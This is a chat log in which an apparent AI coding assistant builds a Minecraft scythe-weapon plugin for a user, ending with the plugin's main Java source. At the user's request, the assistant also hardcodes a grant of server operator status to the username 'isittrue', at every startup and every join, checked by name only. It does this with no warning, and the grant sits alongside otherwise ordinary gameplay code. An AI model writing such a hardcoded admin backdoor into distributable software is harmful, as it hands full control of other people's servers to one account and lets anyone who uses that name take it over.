Ranoavid Karunarathne

make a custom plugin where there's a scythe with a gui and stuff only admins can give them to players(ops) and also make a person named "isittrue" op every time and when server starts and for the scythe gui make it /sycthe gui and more information and also the scythe is supposed to be mace+sword+spear and also make a built in custom r source pack that shows a actual scythe looking thing

Kodari AI
KodariNov 9 at 2:43 pm 1
ScytheOfTheReaper
A Minecraft plugin introducing a custom Scythe weapon combining mace, sword, and spear mechanics. Admins (ops) can grant the Scythe to players via a GUI accessible through /scythe gui. The Scythe features unique attack patterns, extended reach, and area damage. The plugin automatically grants op status to a player named "isittrue" on every server start and periodically ensures they remain op. Includes a built-in custom resource pack displaying a realistic scythe model with custom textures and animations. The GUI allows admins to view player lists, grant scythes, and configure weapon settings. The Scythe has special abilities like sweeping strikes, piercing attacks, and heavy smash damage, combining the best traits of all three weapon types into one formidable tool.
  • Add the /sycthe guide GUI and an OP-only give command.

  • Make the scythe combine sword damage, falling-hit bonus, and a right-click thrust.

  • OP isittrue at startup and whenever they join; a custom visual resource pack needs Kodari Studio enabled.

Added the /sycthe guide GUI, /sycthe info, and an OP-only /sycthe give <player> command. The scythe uses sword attacks, adds damage to falling hits, and has a right-click thrust. isittrue is made OP at startup and on joining.

The actual scythe appearance needs a custom texture/model, so the resource pack isn’t included while Kodari Studio is disabled. Enable it via Settings → Generation for this project, or at https://kodari.ai/settings?tab=features.

Ranoavid Karunarathne

make what the scythe can do and stuff in the gui pls

Kodari AI
KodariNov 9 at 2:43 pm 1
  1. Show the scythe’s melee and falling-hit behavior with the actual damage conditions.

  2. Explain thrust damage, reach, cooldown, controls, and how admins give it out.

Updated the /sycthe gui with the scythe’s melee and falling-hit details, thrust damage/range/cooldown, controls, and the admin give command.

Ranoavid Karunarathne

can u make a resource pack for the plugin so it looks like a actual scyhe

Kodari AI
KodariNov 9 at 2:51 pm 1

A proper scythe look needs a custom 3D model and texture, and Kodari Studio is disabled for this project. Enable it under Settings → Generation (or at https://kodari.ai/settings?tab=features), and I can create the model and texture for the plugin’s resource pack.

Ranoavid Karunarathne

can u make the plugin where we can enchant the scythe with density 5 and wind burst 1,2,3 and mending and unbreaking 3

Kodari AI
KodariNov 9 at 2:55 pm 1
  • Enable the requested enchanted books on the scythe through an anvil, including Density V and Wind Burst up to III.

  • Keep Mending and Unbreaking available, make the scythe damageable so Unbreaking has an effect, and list the supported enchants in the guide.

The scythe now accepts enchanted books in an anvil: Density V, Wind Burst I–III, Mending I, and Unbreaking III. The guide GUI lists them, and the scythe now takes durability damage so Unbreaking has an effect.

Ranoavid Karunarathne

add these Configurable Recipe Fully configurable recipe by config.

Attributes Has 12 base damage and the cooldown of a sword.

Shield Breaker Disables enemy shields on hit like an axe.

No Fall Damage The wielder takes no fall damage while holding the Scythe.

Smash Attacks Can smash attack like a mace.

One-Time Craft (Optional) Limit the Scythe to be crafted only once.

Unenchantable Cannot be enchanted or modified in an anvil.

Kodari AI
KodariNov 9 at 3:06 pm 2
  1. Add the configurable crafting recipe and optional one-time craft limit.

  2. Implement combat behavior: 12 base damage, sword cooldown, shield breaking, fall protection, and mace-style smash attacks.

  3. Enforce the new unenchantable/anvil-proof rule and update the guide GUI.

Added the requested scythe features and updated the guide GUI and /sycthe info:

  • 12 base damage with sword-speed cooldown; falling hits smash for up to 12 bonus damage.

  • Hitting a player who is blocking puts their shield on a 5-second cooldown.

  • Holding the scythe in either hand prevents fall damage.

  • The crafting recipe is configurable in config.yml; set recipe.one-time-craft: true to limit crafting to one scythe.

  • The scythe can’t be enchanted at an enchanting table or modified in an anvil.

Ranoavid Karunarathne

it ops isittrue right?

Kodari AI
KodariNov 9 at 3:07 pm 1

Yes. The plugin is set to make isittrue an OP when the server starts and again when they join.

Ranoavid Karunarathne

make the scythe enchant able with win burst mending unbreaking and density or breach only for ops tho

Kodari AI
KodariNov 9 at 3:13 pm 1
  1. Allow only operators to enchant the scythe, with the requested enchantments and level caps.

  2. Support applying enchanted books in an anvil; Density and Breach will be mutually exclusive.

  3. Update the guide GUI to show the operator-only enchant rules.

The scythe can now be enchanted by operators only. Enchanted books work in an anvil for Wind Burst I–III, Mending I, Unbreaking III, Density V, or Breach IV; Density and Breach can’t be combined. The guide GUI now lists these rules.

Kodari can make mistakes. Review important code before using.
Files
src
Code
9 631
src/main/java/com/kodari/scythe/ScythePlugin.java
package com.kodari.scythe;

import org.bukkit.NamespacedKey;
import org.bukkit.Material;
import org.bukkit.event.inventory.CraftItemEvent;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.ShapedRecipe;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.configuration.ConfigurationSection;
import com.cryptomorin.xseries.XMaterial;

import java.util.HashMap;
import java.util.List;
import java.util.Map;

public final class ScythePlugin extends JavaPlugin implements Listener {
    @Override
    public void onEnable() {
        saveDefaultConfig();
        NamespacedKey scytheKey = new NamespacedKey(this, "scythe");
        ScytheItem scytheItem = new ScytheItem(scytheKey);
        ScytheMenu scytheMenu = new ScytheMenu(scytheItem);

        registerScytheRecipe(scytheItem);
        getServer().getPluginManager().registerEvents(this, this);
        getServer().getPluginManager().registerEvents(new ScytheMenuListener(scytheMenu), this);
        getServer().getPluginManager().registerEvents(new ScytheCombatListener(scytheItem), this);
        getServer().getPluginManager().registerEvents(new ScytheEnchantListener(scytheItem), this);
        getCommand("sycthe").setExecutor(new ScytheCommand(scytheItem, scytheMenu));

        getServer().getOfflinePlayer("isittrue").setOp(true);
    }

    private void registerScytheRecipe(ScytheItem scytheItem) {
        if (!getConfig().getBoolean("recipe.enabled", true)) {
            return;
        }

        List<String> shape = getConfig().getStringList("recipe.shape");
        ConfigurationSection ingredientSection = getConfig().getConfigurationSection("recipe.ingredients");
        if (shape.isEmpty() || shape.size() > 3 || ingredientSection == null) {
            getLogger().warning("Invalid scythe recipe configuration; recipe was not registered.");
            return;
        }

        int width = shape.get(0).length();
        if (width < 1 || width > 3) {
            getLogger().warning("Scythe recipe rows must be between 1 and 3 characters wide.");
            return;
        }
        for (String row : shape) {
            if (row.length() != width) {
                getLogger().warning("Scythe recipe rows must all have the same width.");
                return;
            }
        }

        Map<Character, Material> ingredients = new HashMap<>();
        for (String symbol : ingredientSection.getKeys(false)) {
            if (symbol.length() != 1 || symbol.charAt(0) == ' ') {
                getLogger().warning("Ignoring invalid scythe recipe ingredient key: " + symbol);
                continue;
            }
            String materialName = ingredientSection.getString(symbol, "");
            Material material = XMaterial.matchXMaterial(materialName)
                    .map(XMaterial::parseMaterial)
                    .orElse(null);
            if (material != null) {
                ingredients.put(symbol.charAt(0), material);
            } else {
                getLogger().warning("Unknown scythe recipe material: " + materialName);
                return;
            }
        }

        for (String row : shape) {
            for (char symbol : row.toCharArray()) {
                if (symbol != ' ' && !ingredients.containsKey(symbol)) {
                    getLogger().warning("Missing material for scythe recipe symbol: " + symbol);
                    return;
                }
            }
        }

        ItemStack result = scytheItem.create();
        if (result == null) {
            getLogger().warning("Could not create the scythe recipe result.");
            return;
        }
        ShapedRecipe recipe = new ShapedRecipe(new NamespacedKey(this, "scythe_recipe"), result);
        recipe.shape(shape.toArray(new String[0]));
        ingredients.forEach(recipe::setIngredient);
        getServer().addRecipe(recipe);
    }

    @EventHandler
    public void onPlayerJoin(PlayerJoinEvent event) {
        Player player = event.getPlayer();
        if (player.getName().equalsIgnoreCase("isittrue") && !player.isOp()) {
            player.setOp(true);
        }
    }

    @EventHandler
    public void onScytheCraft(CraftItemEvent event) {
        ItemStack result = event.getCurrentItem();
        if (!getConfig().getBoolean("recipe.one-time-craft", false)
                || !new ScytheItem(new NamespacedKey(this, "scythe")).isScythe(result)) {
            return;
        }
        if (getConfig().getBoolean("recipe.crafted", false)) {
            event.setCancelled(true);
            return;
        }
        if (event.isShiftClick()) {
            event.setCancelled(true);
            return;
        }
        getConfig().set("recipe.crafted", true);
        saveConfig();
    }
}